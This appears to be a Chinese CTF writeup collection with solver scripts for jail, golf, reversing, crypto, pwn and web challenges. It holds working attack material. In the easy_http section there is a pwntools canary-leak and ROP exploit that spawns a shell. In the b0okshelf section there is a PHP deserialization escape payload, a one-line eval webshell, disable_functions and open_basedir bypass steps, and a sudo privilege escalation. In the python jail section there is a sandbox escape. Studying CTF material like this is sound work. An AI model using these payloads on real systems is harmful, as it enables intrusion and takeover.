目
录
01 |
python jail |
02 |
golf revenge |
03 |
right_data |
04 |
Pyhumor |
05 |
cpy |
06 |
easy_http |
07 |
b0okshelf |
08 |
mygo |
09 |
factor |
10 |
skip |
11 |
Nu1tka |
比赛持续报名中,欢迎各位选手报名!
python jail
[题目writeup]:
exp
def b():
def a():yield g.gi_frame.f_back.f_back.f_back.f_back
g=a();g=[x for x in g][0];return g.f_globals['BOX']
s=b()
然后改一下弄成base64就好了
import base64
"""
def b():
def a():yield g.gi_frame.f_back.f_back.f_back.f_back
g=a();g=[x for x in g][0];return g.f_globals['BOX']
s=b()
"""
m = "def b():n def a():yield g.gi_frame.f_back.f_back.f_back.f_backn g=a();g=[x for x in g][0];return g.f_globals['BOX']ns=b()"
p = base64.b64encode(m.encode())
print(p)
print(len(m))
基于栈帧沙箱逃逸,通过生成器的栈帧对象通过f_back(返回前一帧)从而逃逸出去获取globals全局符号表。
gofl revenge
[题目writeup]:
46字符内生成1000以内的质数
就是用一些python的技巧就好了,有大概两个字符的容错(最低大概44个字符左右)
这里仅仅给出46个字符的
k,P,*s=1,1,
while k<1e3:s+=P%k*[k];P*=k*k;k+=1
然后改一下弄成base64就好了
如何造出这个代码,我们先写一个正常的生成1000以内质数的代码
k = 1
P = 1
s = []
for k in range(2, 1000):
if P % k != 0:
s.append(k)
P*=k*k
print(s)
然后通过Unpacking assignment可以把
k = 1
P = 1
s = []
写成
k,P,*s=1,1,
然后对于后面的
for k in range(2, 1000):
if P % k != 0:
s.append(P)
P*=k
我们可以用while来代替for这样子可以保证字符更少,然后把1000用1e3表示,即
while k<1e3:
if P % k != 0:
s.append(P)
P*=k
k+=1
而对于中间的判断,!=可以用>来减少一个字符,然后去掉if用布尔短路解决即P%k>0 and s.append(k),但是这样子还是不够。
我们知道如果list加上一个空集是不会变化的,那么我们可以写成s+=P%k*[k],这样子s要嘛加上[质数],要嘛加上空集
import base64
s = base64.b64encode(b"k,P,*s=1,1,nwhile k<1e3:s+=P%k*[k];P*=k*k;k+=1")
print(len(base64.b64decode(s)))
print(s)
# ayxQLCpzPTEsMSwKd2hpbGUgazwxZTM6cys9UCVrKltrXTtQKj1rKms7ays9MQ==
right_data
[题目writeup]:
from tqdm import *
modulus = 257
def find(i, j):
for t in range((modulus - 1) ** 2 - 1):
if (i * coefs1[t] + j * coefs2[t]) % modulus == values[t]:
return False
return True
def findflag():
for i in range(1, modulus):
for j in range(1, modulus):
if find(i, j):
return chr((j - i) % modulus)
flag = ""
with open("output.txt", "r") as f:
for _ in trange(0, 42):
coefs1 = []
coefs2 = []
values = []
for i in range((modulus - 1) ** 2 - 1):
s = f.readline().replace("n", "").split(" ")
coefs1.append(int(s[0]))
coefs2.append(int(s[1]))
values.append(int(s[2]))
flag += findflag()
print(flag)
flag{087834ea-dcbf-488a-a713-e496b3130d40}
Pyhumor
[题目writeup]:
ida根据字符串定位check函数,attach后动调
看到长度判断,确定flag长度为40
创建了两个数组,一个长度为5,一个为4
[0xfbbc7f84591ff393, 0x360c751ee6bd9abd, 0x60854fc80d82350a, 0x139692ebf3ee3c4f, 0x8571b17650a42bd4]
[0xf656460d, 0xda144260, 0xeef1c943, 0xe4390f66]
将输入转化成ascii数组
用int.from_bytes将ascii数组转化成八字节的数组
然后是加密过程,遍历上面的八字节数组
右移62位,相当于取了高2个字节
原数据又移两位,然后&0xffffffffffffffff
根据高2位从四字节数组中取出一个数后和待加密数据进行异或
此时我们可以看出这是个魔改的crc64,加密轮数为32轮,跟到比较可以看到长度为5的数组是密文
还原加密算法
根据crc64的原理,我们可以发现key的低2位是不一样的,根据此解密拿到flag
import libnum
def decrypt(datas):
for j in range(len(datas)):
data=datas[j]
for i in range(32):
low=data&0b11
if low==0:
data^=0xda144260
data>>=2
data|=(1<<62)
if low==3:
data ^= 0xeef1c943
data >>= 2
data |= (2 << 62)
if low==1:
data ^= 0xf656460d
data >>= 2
data |= (0 << 62)
if low==2:
data ^= 0xe4390f66
data >>= 2
data |= (3 << 62)
datas[j]=data
return datas
enc = [0xfbbc7f84591ff393, 0x360c751ee6bd9abd, 0x60854fc80d82350a, 0x139692ebf3ee3c4f, 0x8571b17650a42bd4]
flag=decrypt(enc)
for i in flag:
print(libnum.n2s(i).decode()[::-1],end="")
flag{131d48c0-b255-e996-ae74-bc43426ea6}
easy_http
[题目writeup]:
选手首先需要逆向得到数据格式。
通过部分逆向的源码或者猜测,判断出主函数通过fork
函数来不断产生子进程,并在子进程上进行各种操作
若选手没有注意到操作发生在子进程,则可能误认为考察点在于堆上的UAF
;而子进程相互隔离,因此不可能通过堆上来进行利用。
构造好简易http
数据包,要求如下:
-
Host
-
Content
-
Content-Length
此外,每个参数还具有不同的要求,包括最大值等。
而校验时,错误使用了&&
和||
:
if (!valid_host && !valid_length && !valid_content)
{
return 0;
}
导致只要三个属性中有一个满足要求即可。
又:
memcpy(real_content, content, length);
因此合理控制content-length
和content
,有一个几乎无限制的栈溢出。
随后,通过校验后,有如下几个路由,代表几个不同的功能:
-
show
-
add
-
delete
-
edit
里面存在UAF
,但无法利用。
选手需要排除干扰,通过多次栈溢出来获得shell
。
因此,构造两个数据包,第一个泄露canary
,第二个rop
拿下shell
。
from pwn import *
filename = './pwn'
context.arch='amd64'
context.log_level = "debug"
context.terminal = ['tmux', 'neww']
local = 0
all_logs = []
elf = ELF(filename)
libc = elf.libc
if local:
sh = process(filename)
else:
sh = remote('localhost', 9999)
def debug(params=''):
for an_log in all_logs:
success(an_log)
pid = util.proc.pidof(sh)[0]
gdb.attach(pid+2, params)
pause()
def leak_info(name, addr):
output_log = '{} => {}'.format(name, hex(addr))
all_logs.append(output_log)
success(output_log)
# debug("")
template = '''POST /{} HTTP/1.1r
Host: www.baidu.comr
User-Agent: Hahar
Content-Length: {}r
Content: {}r
'''
payload = template.format("show", 0x109, 'a'*0x109)
sh.send(payload)
sh.recvuntil(b'a'*0x109)
canary = u64(sh.recv(7).rjust(8, b'x00'))
leak_info('canary', canary)
pop_5 = 0x40a9d7
pop_rdi = 0x40296f
pop_rsi = 0x40a9de
pop_rdx_2 = 0x4a4c4b
pop_rax = 0x459227
syscall = 0x422fe6
pop_rsp = 0x402dce
leave_ret = 0x401b01
ret = 0x40101a
bss = 0x4E8700
chain = b'a'*0x108 + p64(canary) + p64(0xdeadbeaf)
chain += p64(pop_5) + (b'a'*0x15 + b'/addx00').ljust(0x28, b'a')
chain += p64(pop_rdi) + p64(0)
chain += p64(pop_rsi) + p64(bss)
chain += p64(pop_rdx_2) + p64(0x100)*2
chain += p64(pop_rax) + p64(0)
chain += p64(syscall)
chain += p64(pop_rax) + p64(59)
chain += p64(pop_rdi) + p64(bss)
chain += p64(pop_rsi) + p64(0)
chain += p64(pop_rdx_2) + p64(0)*2
chain += p64(syscall)
template = '''POST /{} HTTP/1.1r
Host: www.baidu.comr
User-Agent: Hahar
Content-Length: {}r
Content: '''
chain = chain
payload = template.format("add", len(chain)).encode('utf-8')
payload += chain + b'rn'
sh.send(payload)
sh.send('/bin/shx00')
sh.interactive()
b0okshelf
[题目writeup]:
发现备份文件
通过 robots.txt
文件,我们发现了一个 backup.zip
文件。robots.txt
是一个用于告诉搜索引擎哪些页面不应被抓取的文件,但有时会泄露一些敏感信息。下载 backup.zip
后,我们可以获取源码。
分析源码
源码显示项目使用了 PHP 的 serialize
来存储数据。serialize
函数将 PHP 变量转换为可存储或传输的字符串,但如果不安全地使用,可能会导致反序列化漏洞。
file_put_contents('books/' . $book->id . '.info', waf(serialize($book)));
function waf($data)
{
return str_replace("'", "\'", $data);
}
由于对序列化后的内容进行过滤, 导致会存在字符增多的情况下的字符逃逸.
我们可以尝试逃逸掉 Reader
中的路径, 从而使其能够变成任意路径
利用字符逃逸漏洞
字符逃逸漏洞允许我们构造一个 payload 来覆盖路径,从而实现任意文件写入, 我们可以写入一句话木马。
<?php
class Book
{
public $id;
public $title;
public $author;
public $summary;
public $reader;
}
class Reader
{
public function __construct($location)
{
$this->location = $location;
}
public function getLocation()
{
return $this->location;
}
private $location;
public function getContent()
{
return file_get_contents($this->location);
}
public function setContent($content)
{
file_put_contents($this->location, $content);
}
}
$book = new Book();
$book->id = 'kengwang_aura';
$book->title = 'test';
$book->author = 'test';
$partA = '";s:6:"reader";O:6:"Reader":1:{s:16:"';
$partB = 'Reader';
$partC = 'location";s:14:"books/shel.php";}};';
$payload = $partA . "x00" . $partB . "x00" . $partC;
$length = strlen($partA) + strlen($partB) + strlen($partC) + 2;
echo "[+] Payload length: " . $length . "n";
$book->summary = str_repeat(''', $length) . $payload;
$book->reader = new Reader('books/' . 'abc');
function waf($data)
{
return str_replace("'", "\'", $data);
}
echo "[+] Summary: ";
echo urlencode($book->summary);
$res = waf(serialize($book));
echo "n[+] Serialized payload: ";
echo base64_encode($res);
echo "n";
$newBook = unserialize($res);
echo "[+] Location: ";
echo $newBook->reader->getLocation();
注意这里的 private 其实我们可以不用封装到 x00
里面的 (7.2+), 为了保险还是这么写了
写入一句话木马
在 update.php
中,我们发现了 file_put_contents
函数。file_put_contents
可以将数据写入文件,我们可以利用它来写入一句话木马。
我们访问 update.php 将内容改为
<?php eval($_POST[0]);
绕过安全限制
写入木马后,通过蚁剑连接发现存在 disable_functions
,这是 PHP 的一个配置选项,用于禁用某些函数。通过 phpinfo
,我们还发现存在 open_basedir
限制,open_basedir
用于限制 PHP 只能访问指定目录。
我们可以通过 mkdir
和 chdir
函数来绕过 open_basedir
限制。mkdir
创建目录,chdir
改变当前目录,通过这些操作,我们可以访问受限制的目录。详见 https://xz.aliyun.com/t/10070#toc-12
对于 disable_functions
,蚁剑的一键绕过 disabled_function 已全部无法使用,需要手动绕过。我们使用 CN-EXT (CVE-2024-2961) 来绕过限制并执行远程代码执行(RCE),最终反弹 shell。
提权
反弹 shell 后,为了提升交互性以便使用 sudo 提权,我们通过 sudo -l
发现 date
命令可以无密码执行。sudo
命令允许用户以超级用户权限执行命令,sudo -l
列出当前用户可以执行的命令。
最后,通过 sudo date -f /flag
读取 flag。date
命令通常用于显示或设置系统日期和时间,但在这里我们利用它读取文件内容。
mygo
[题目writeup]:
根据字符串定位到 sub_140001B70 为主函数
正常接收30位输入
调试可知 对输入进行了每位xor index,倒序,每位xor len-1-index,倒序
易知xor和xor抵消,倒序与倒序抵消,即相当于没有对输入做操作
全局变量,先xor当前字节,再乘本身
全局变量,先xor当前字节的下一个字节,再乘本身
注意因为类型原因,乘以该大数后被截断
相当于一次处理两个字节
比较enc和加密后的输入
同样是每两字节比较
注意比较顺序,导致需要倒序enc
即该题目实现了一个hash算法,因为全局变量导致前后位相关,因为逻辑代码写脚本
import string
a = string.printable
def solve2(hash, check):
for i1 in a:
for i2 in a:
input = i1 + i2
def myhash(s: str) -> str:
t1 = 0x100000001B3
t2 = hash
for byte in s.encode():
t2 ^= byte
t2 = (t2 * t1) & 0xFFFFFFFFFFFFFFFF
return f"{t2:016x}", t2 # 用0 padding到16位
res, HASH = myhash(input)
if res == check:
return input, HASH
enc = [
"08985807b541d18f",
"d5f2d079088c0b17",
"2282110ea3670872",
"23826d0a97ceea45",
"5feb92ec9da6ccc6",
"418727fdc0a2295b",
"bf325bb7f6fb98b9",
"0669076ed7c9bfb3",
"d905a4abf3eb7f22",
"5f5741aae1954e6c",
"8f70569021c638dd",
"e77f76949e5db63a",
"7f98a3f5e1b1e340",
"9b7cd1e5a8dea236",
"d3c21142b990e7b8",
]
hash = 0xCBF29CE484222325
input = ""
for c in enc:
res = solve2(hash, c)
input += res[0]
hash = res[1]
print(input)
flag{BanGDream!ItsMyRust!!!!!}
factor
[题目writeup]:
设那么有
其中为小量,我们可以打copper得到分解
import itertools
from Crypto.Util.number import *
import gmpy2
from tqdm import trange
def small_roots(f, bounds, m=1, d=None):
if not d:
d = f.degree()
R = f.base_ring()
N = R.cardinality()
f /= f.coefficients().pop(0)
f = f.change_ring(ZZ)
G = Sequence([], f.parent())
for i in range(m + 1):
base = N ^ (m - i) * f ^ i
for shifts in itertools.product(range(d), repeat=f.nvariables()):
g = base * prod(map(power, f.variables(), shifts))
G.append(g)
B, monomials = G.coefficient_matrix()
monomials = vector(monomials)
factors = [monomial(*bounds) for monomial in monomials]
for i, factor in enumerate(factors):
B.rescale_col(i, factor)
B = B.dense_matrix().LLL()
B = B.change_ring(QQ)
for i, factor in enumerate(factors):
B.rescale_col(i, 1 / factor)
H = Sequence([], f.parent().change_ring(QQ))
for h in filter(None, B * monomials):
H.append(h)
I = H.ideal()
if I.dimension() == -1:
H.pop()
elif I.dimension() == 0:
roots = []
for root in I.variety(ring=ZZ):
root = tuple(R(root[var]) for var in f.variables())
roots.append(root)
return roots
return []
n = 5605777780127871552103278440489930168557569118966981388111283042550796167470265465148458919374665519335013101681890408413810351780671950283765145543168779446153786190869731166707967097095246677053262868926963631796027692694223765625053269102325714361312299011876036815423751522482629914361369303649193526946050137701205931577449326939722902280884984494828850611521784382097900268639648421100760612558110614208245291400961758972415881709281708443424129033685255718996719201537066717587527029554871540574867831957154286334639399985379381455084604901293000229526196544921067214723085504463673412082637877637982771445298815007769526806112008703908400170846707986989384244531990469279604588770393462375930699135443458952703826608237292999895910024613311408883134789788541751697007502656798556053417265191533053158952284994030769145926816478390761642058013769635850833893158830591398862163134753203291719549474871116653745337968227
R.<x,y,z>=Zmod(n)[]
n_ = int(gmpy2.iroot(n, 3)[0])
t = 2 ^ 3
P = []
for i in trange(t):
for j in range(t):
for k in range(t):
f = (n_ + t * x + i) * (n_ + t * y + j) * (n_ + t * z + k)
s = 342
roots = small_roots(f, [2 ^ s, 2 ^ s, 2 ^ s], m=1, d=3)
if roots:
a, b, c = [int(ii) * t + jj if int(ii).bit_length() <= 512 else int(n - ii) * t - jj for ii, jj in zip(roots[0], [i, j, k])]
for l in [a, b, c]:
p = n_ + l
if n % p == 0:
P.append(p)
p = n_ - l
if n % p == 0:
P.append(p)
p, q, r = set(P)
d = inverse(65537, (p - 1) * (q - 1) * (r - 1))
c = 2998195560453407057321637509862236387961676411996988529185696118404592349869917006166370346762261303282478779647282039317061146533808487789458703169149689179547543732935053220010550004328207373171271534689897340156346458951776319267981966893926724550629182100766890856964207263709029611781806548130358294543573874132473259788387939849997550651614987993962540192023207354839106090274252125961835070701748643163379053118598595995782448140944376681636633592442158453965800439960134688017496184195454406927204485213436540382637720118180670197194949275760000729877093621741313147190401896114633643891311672542703928421032698499968701052818985292683628072129271790220674145955527935027879112279336148316425115255710066132502392447843608711463775710558880259205308541126041959858947252063815158749021817255637836170676726466347847422352280599210078359786387419424076245960344657767332883964636288493649066530215094453490169688507988
print(long_to_bytes(pow(c, d, n)))
获得flag:
flag{24e33eda-f57c-42da-92c5-e0b39414cded}
skip
[题目writeup]:
jadx打开apk开始分析
我们可以看到有checkusrname和checkpass分别对username和password进行校验,其中username作为密钥加密password,所以我们先看username,checkusrname在native层
ida打开so文件
可以看出是des加密,魔改了s盒
拿出密文,密钥和s盒解密即可
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
/*--------------------------------------------------------------------------------------------------------------*/
typedef unsigned char ubyte;
/*--------------------------------------------------------------------------------------------------------------*/
#define KEY_LEN 8
typedef ubyte key_t[KEY_LEN];
/*--------------------------------------------------------------------------------------------------------------*/
const static ubyte PC1[] = {
57, 49, 41, 33, 25, 17, 9,
1, 58, 50, 42, 34, 26, 18,
10, 2, 59, 51, 43, 35, 27,
19, 11, 3, 60, 52, 44, 36,
63, 55, 47, 39, 31, 23, 15,
7, 62, 54, 46, 38, 30, 22,
14, 6, 61, 53, 45, 37, 29,
21, 13, 5, 28, 20, 12, 4
};
/*--------------------------------------------------------------------------------------------------------------*/
const static ubyte PC2[] = {
14, 17, 11, 24, 1, 5,
3, 28, 15, 6, 21, 10,
23, 19, 12, 4, 26, 8,
16, 7, 27, 20, 13, 2,
41, 52, 31, 37, 47, 55,
30, 40, 51, 45, 33, 48,
44, 49, 39, 56, 34, 53,
46, 42, 50, 36, 29, 32
};
/*--------------------------------------------------------------------------------------------------------------*/
const static ubyte IP[] = {
58, 50, 42, 34, 26, 18, 10, 2,
60, 52, 44, 36, 28, 20, 12, 4,
62, 54, 46, 38, 30, 22, 14, 6,
64, 56, 48, 40, 32, 24, 16, 8,
57, 49, 41, 33, 25, 17, 9, 1,
59, 51, 43, 35, 27, 19, 11, 3,
61, 53, 45, 37, 29, 21, 13, 5,
63, 55, 47, 39, 31, 23, 15, 7
};
/*--------------------------------------------------------------------------------------------------------------*/
const static ubyte E[] = {
32, 1, 2, 3, 4, 5,
4, 5, 6, 7, 8, 9,
8, 9, 10, 11, 12, 13,
12, 13, 14, 15, 16, 17,
16, 17, 18, 19, 20, 21,
20, 21, 22, 23, 24, 25,
24, 25, 26, 27, 28, 29,
28, 29, 30, 31, 32, 1
};
/*--------------------------------------------------------------------------------------------------------------*/
const static ubyte S[][64] = {
{
6, 6, 4, 9, 6, 7, 4, 11, 0, 2, 8, 12, 10, 8, 0, 1, 12, 6, 9, 9, 3, 7, 11, 5, 4, 13, 1, 3, 15, 8, 10, 13, 5, 13, 10, 2, 12, 0, 14, 13, 11, 14, 5, 3, 2, 8, 14, 3, 14, 4, 11, 7, 15, 5, 1, 7, 1, 12, 9, 0, 10, 2, 15, 15
},
{
10, 2, 4, 8, 12, 15, 3, 10, 4, 8, 3, 4, 14, 5, 7, 15, 15, 8, 0, 7, 9, 4, 13, 0, 5, 8, 11, 14, 6, 2, 2, 6, 13, 9, 2, 3, 10, 7, 1, 9, 5, 15, 1, 11, 9, 14, 13, 11, 7, 12, 12, 5, 1, 10, 14, 6, 6, 0, 0, 12, 3, 1, 11, 13
},
{
10, 0, 0, 6, 5, 13, 9, 14, 3, 1, 1, 8, 13, 9, 8, 15, 12, 7, 1, 3, 15, 7, 11, 7, 5, 10, 3, 10, 2, 6, 8, 10, 9, 3, 2, 14, 14, 11, 11, 2, 13, 15, 7, 6, 8, 4, 4, 12, 0, 1, 14, 5, 12, 12, 4, 2, 6, 9, 4, 5, 11, 15, 0, 13
},
{
6, 12, 1, 11, 14, 0, 4, 4, 4, 2, 15, 3, 3, 1, 1, 2, 8, 0, 9, 6, 0, 8, 13, 2, 12, 3, 3, 10, 7, 15, 12, 8, 15, 14, 7, 4, 6, 14, 1, 7, 7, 9, 6, 9, 15, 5, 11, 0, 10, 13, 13, 9, 13, 5, 5, 11, 12, 11, 8, 2, 5, 10, 14, 10
},
{
5, 5, 7, 9, 9, 13, 0, 5, 6, 11, 12, 5, 4, 15, 0, 12, 11, 13, 13, 10, 8, 2, 13, 3, 3, 14, 14, 6, 9, 3, 0, 7, 10, 9, 7, 8, 10, 2, 1, 0, 6, 14, 15, 8, 14, 15, 2, 1, 7, 6, 15, 10, 3, 12, 12, 4, 1, 8, 4, 11, 2, 1, 11, 4
},
{
14, 6, 14, 6, 0, 13, 9, 5, 5, 11, 0, 7, 2, 3, 0, 0, 3, 13, 8, 2, 15, 9, 1, 7, 9, 1, 12, 4, 10, 9, 8, 11, 4, 1, 6, 15, 12, 14, 11, 2, 5, 14, 13, 4, 3, 7, 1, 15, 11, 10, 3, 7, 8, 8, 15, 5, 12, 12, 10, 10, 4, 6, 13, 2
},
{
15, 14, 10, 3, 3, 15, 12, 14, 0, 2, 14, 12, 8, 0, 5, 6, 14, 2, 0, 1, 8, 1, 13, 4, 11, 4, 7, 11, 9, 15, 1, 12, 5, 0, 7, 13, 6, 10, 6, 12, 11, 6, 13, 3, 8, 4, 9, 9, 13, 4, 2, 5, 1, 7, 9, 5, 7, 2, 8, 15, 3, 10, 10, 11
},
{
4, 7, 4, 15, 0, 5, 9, 14, 8, 11, 13, 0, 7, 3, 1, 2, 1, 6, 7, 5, 12, 4, 13, 13, 8, 1, 5, 12, 11, 9, 5, 11, 6, 10, 3, 1, 15, 14, 14, 15, 9, 9, 15, 2, 12, 12, 14, 0, 4, 8, 6, 3, 11, 7, 3, 6, 10, 2, 0, 2, 8, 10, 10, 13
}
};
/*--------------------------------------------------------------------------------------------------------------*/
const static ubyte P[] = {
16, 7, 20, 21,
29, 12, 28, 17,
1, 15, 23, 26,
5, 18, 31, 10,
2, 8, 24, 14,
32, 27, 3, 9,
19, 13, 30, 6,
22, 11, 4, 25
};
/*--------------------------------------------------------------------------------------------------------------*/
const static ubyte IP2[] = {
40, 8, 48, 16, 56, 24, 64, 32,
39, 7, 47, 15, 55, 23, 63, 31,
38, 6, 46, 14, 54, 22, 62, 30,
37, 5, 45, 13, 53, 21, 61, 29,
36, 4, 44, 12, 52, 20, 60, 28,
35, 3, 43, 11, 51, 19, 59, 27,
34, 2, 42, 10, 50, 18, 58, 26,
33, 1, 41, 9, 49, 17, 57, 25
};
/*--------------------------------------------------------------------------------------------------------------*/
const static ubyte SHIFTS[] = {
1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1
};
/*--------------------------------------------------------------------------------------------------------------*/
typedef struct {
ubyte *data;
int len;
} String;
/*--------------------------------------------------------------------------------------------------------------*/
/*
* Transform a single nibble into a hex character
*
* in: a value < 0x10
*
* returns: the character that represents the nibble
*/
static char toHex(ubyte in) {
if (0x00 <= in && in < 0x0A) {
return '0' + in;
}
if (0x0A <= in && in <= 0x0F) {
return 'A' + in - 0x0A;
}
return 0;
}
/*--------------------------------------------------------------------------------------------------------------*/
/*
* Convert an array of bytes into a string
*
* ptr: the array of bytes
* len: the number of bytes
* out: a buffer allocated by the caller with enough space for 2*len+1 characters
*/
static void printBytes(const ubyte *ptr, int len, char *out) {
while (len-- > 0) {
*out++ = toHex(*ptr >> 4);
*out++ = toHex(*ptr & 0x0F);
ptr++;
}
*out = 0;
}
/*--------------------------------------------------------------------------------------------------------------*/
/*
* Gets the value of a bit in an array of bytes
*
* src: the array of bytes to index
* index: the desired bit to test the value of
*
* returns: the bit at the specified position in the array
*/
static int peekBit(const ubyte *src, int index) {
int cell = index / 8;
int bit = 7 - index % 8;
return (src[cell] & (1 << bit)) != 0;
}
/*--------------------------------------------------------------------------------------------------------------*/
/*
* Sets the value of a bit in an array of bytes
*
* dst: the array of bits to set a bit in
* index: the position of the bit to set
* value: the value for the bit to set
*/
static void pokeBit(ubyte *dst, int index, int value) {
int cell = index / 8;
int bit = 7 - index % 8;
if (value == 0) {
dst[cell] &= ~(1 << bit);
}
else {
dst[cell] |= (1 << bit);
}
}
/*--------------------------------------------------------------------------------------------------------------*/
/*
* Transforms one array of bytes by shifting the bits the specified number of positions
*
* src: the array to shift bits from
* len: the length of the src array
* times: the number of positions that the bits should be shifted
* dst: a bytes array allocated by the caller to store the shifted values
*/
static void shiftLeft(const ubyte *src, int len, int times, ubyte *dst) {
int i, t;
for (i = 0; i <= len; ++i) {
pokeBit(dst, i, peekBit(src, i));
}
for (t = 1; t <= times; ++t) {
int temp = peekBit(dst, 0);
for (i = 1; i <= len; ++i) {
pokeBit(dst, i - 1, peekBit(dst, i));
}
pokeBit(dst, len - 1, temp);
}
}
/*--------------------------------------------------------------------------------------------------------------*/
/*
* Calculates the sub keys to be used in processing the messages
*
* key: the array of bytes representing the key
* ks: the subkeys that have been allocated by the caller
*/
typedef ubyte subkey_t[17][6]; /* 17 sets of 48 bits */
static void getSubKeys(const key_t key, subkey_t ks) {
ubyte c[17][7]; /* 56 bits */
ubyte d[17][4]; /* 28 bits */
ubyte kp[7];
int i, j;
/* intialize */
memset(c, 0, sizeof(c));
memset(d, 0, sizeof(d));
memset(ks, 0, sizeof(subkey_t));
/* permute 'key' using table PC1 */
for (i = 0; i < 56; ++i) {
pokeBit(kp, i, peekBit(key, PC1[i] - 1));
}
/* split 'kp' in half and process the resulting series of 'c' and 'd' */
for (i = 0; i < 28; ++i) {
pokeBit(c[0], i, peekBit(kp, i));
pokeBit(d[0], i, peekBit(kp, i + 28));
}
/* shift the components of c and d */
for (i = 1; i < 17; ++i) {
shiftLeft(c[i - 1], 28, SHIFTS[i - 1], c[i]);
shiftLeft(d[i - 1], 28, SHIFTS[i - 1], d[i]);
}
/* merge 'd' into 'c' */
for (i = 1; i < 17; ++i) {
for (j = 28; j < 56; ++j) {
pokeBit(c[i], j, peekBit(d[i], j - 28));
}
}
/* form the sub-keys and store them in 'ks'
* permute 'c' using table PC2 */
for (i = 1; i < 17; ++i) {
for (j = 0; j < 48; ++j) {
pokeBit(ks[i], j, peekBit(c[i], PC2[j] - 1));
}
}
}
/*--------------------------------------------------------------------------------------------------------------*/
/*
* Function used in processing the messages
*
* r: an array of bytes to be processed
* ks: one of the subkeys to be used for processing
* sp: output from the processing
*/
static void f(ubyte *r, ubyte *ks, ubyte *sp) {
ubyte er[6]; /* 48 bits */
ubyte sr[4]; /* 32 bits */
int i;
/* initialize */
memset(er, 0, sizeof(er));
memset(sr, 0, sizeof(sr));
/* permute 'r' using table E */
for (i = 0; i < 48; ++i) {
pokeBit(er, i, peekBit(r, E[i] - 1));
}
/* xor 'er' with 'ks' and store back into 'er' */
for (i = 0; i < 6; ++i) {
er[i] ^= ks[i];
}
/* process 'er' six bits at a time and store resulting four bits in 'sr' */
for (i = 0; i < 8; ++i) {
int j = i * 6;
int b[6];
int k, row, col, m, n;
for (k = 0; k < 6; ++k) {
b[k] = peekBit(er, j + k) != 0 ? 1 : 0;
}
row = 2 * b[0] + b[5];
col = 8 * b[1] + 4 * b[2] + 2 * b[3] + b[4];
m = S[i][row * 16 + col]; /* apply table s */
n = 1;
while (m > 0) {
int p = m % 2;
pokeBit(sr, (i + 1) * 4 - n, p == 1);
m /= 2;
n++;
}
}
/* permute sr using table P */
for (i = 0; i < 32; ++i) {
pokeBit(sp, i, peekBit(sr, P[i] - 1));
}
}
/*--------------------------------------------------------------------------------------------------------------*/
/*
* Processing of block of the message
*
* message: an 8 byte block from the message
* ks: the subkeys to use in processing
* ep: space for an encoded 8 byte block allocated by the caller
*/
static void processMessage(const ubyte *message, subkey_t ks, ubyte *ep) {
ubyte left[17][4]; /* 32 bits */
ubyte right[17][4]; /* 32 bits */
ubyte mp[8]; /* 64 bits */
ubyte e[8]; /* 64 bits */
int i, j;
/* permute 'message' using table IP */
for (i = 0; i < 64; ++i) {
pokeBit(mp, i, peekBit(message, IP[i] - 1));
}
/* split 'mp' in half and process the resulting series of 'l' and 'r */
for (i = 0; i < 32; ++i) {
pokeBit(left[0], i, peekBit(mp, i));
pokeBit(right[0], i, peekBit(mp, i + 32));
}
for (i = 1; i < 17; ++i) {
ubyte fs[4]; /* 32 bits */
memcpy(left[i], right[i - 1], 4);
f(right[i - 1], ks[i], fs);
for (j = 0; j < 4; ++j) {
left[i - 1][j] ^= fs[j];
}
memcpy(right[i], left[i - 1], 4);
}
/* amalgamate r[16] and l[16] (in that order) into 'e' */
for (i = 0; i < 32; ++i) {
pokeBit(e, i, peekBit(right[16], i));
}
for (i = 32; i < 64; ++i) {
pokeBit(e, i, peekBit(left[16], i - 32));
}
/* permute 'e' using table IP2 ad return result as a hex string */
for (i = 0; i < 64; ++i) {
pokeBit(ep, i, peekBit(e, IP2[i] - 1));
}
}
/*--------------------------------------------------------------------------------------------------------------*/
/*
* Encrypts a message using DES
*
* key: the key to use to encrypt the message
* message: the message to be encrypted
* len: the length of the message
*
* returns: a paring of dynamically allocated memory for the encoded message,
* and the length of the encoded message.
* the caller will need to free the memory after use.
*/
String encrypt(const key_t key, const ubyte *message, int len) {
String result = { 0, 0 };
subkey_t ks;
ubyte padByte;
int i;
getSubKeys(key, ks);
padByte = 8 - len % 8;
result.len = len + padByte;
result.data = (ubyte*)malloc(result.len);
memcpy(result.data, message, len);
memset(&result.data[len], padByte, padByte);
for (i = 0; i < result.len; i += 8) {
processMessage(&result.data[i], ks, &result.data[i]);
}
return result;
}
/*--------------------------------------------------------------------------------------------------------------*/
/*
* Decrypts a message using DES
*
* key: the key to use to decrypt the message
* message: the message to be decrypted
* len: the length of the message
*
* returns: a paring of dynamically allocated memory for the decoded message,
* and the length of the decoded message.
* the caller will need to free the memory after use.
*/
String decrypt(const key_t key, const ubyte *message, int len) {
String result = { 0, 0 };
subkey_t ks;
int i, j;
ubyte padByte;
getSubKeys(key, ks);
/* reverse the subkeys */
for (i = 1; i < 9; ++i) {
for (j = 0; j < 6; ++j) {
ubyte temp = ks[i][j];
ks[i][j] = ks[17 - i][j];
ks[17 - i][j] = temp;
}
}
result.data = (ubyte*)malloc(len);
memcpy(result.data, message, len);
result.len = len;
for (i = 0; i < result.len; i += 8) {
processMessage(&result.data[i], ks, &result.data[i]);
}
padByte = result.data[len - 1];
result.len -= padByte;
return result;
}
/*--------------------------------------------------------------------------------------------------------------*/
/*
* Convienience method for showing the round trip processing of a message
*/
void driver(const key_t key, const ubyte *message, int len) {
String encoded, decoded;
char buffer[128];
printBytes(key, KEY_LEN, buffer);
printf("Key : %sn", buffer);
printBytes(message, len, buffer);
printf("Message : %sn", buffer);
encoded = encrypt(key, message, len);
printBytes(encoded.data, encoded.len, buffer);
printf("Encoded : %sn", buffer);
decoded = decrypt(key, encoded.data, encoded.len);
printBytes(decoded.data, decoded.len, buffer);
printf("Decoded : %snn", buffer);
/* release allocated memory */
if (encoded.len > 0) {
free(encoded.data);
encoded.data = 0;
}
if (decoded.len > 0) {
free(decoded.data);
decoded.data = 0;
}
}
/*--------------------------------------------------------------------------------------------------------------*/
int main()
{
String decoded;
int len;
//密钥
const key_t key = {107, 101, 121, 33, 107, 101, 121, 33};
//密文
const ubyte data[] = {125, 234, 224, 219, 27, 214, 109, 85, 209, 233, 192, 113, 12, 1, 19, 43};
//密文长度
len = sizeof(data) / sizeof(ubyte);
decoded = decrypt(key, data, len);
printf("Decoded:%sn", decoded.data);
//释放内存
if (decoded.len > 0) {
free(decoded.data);
decoded.data = 0;
}
return 0;
}
得到username:7d77cfe8
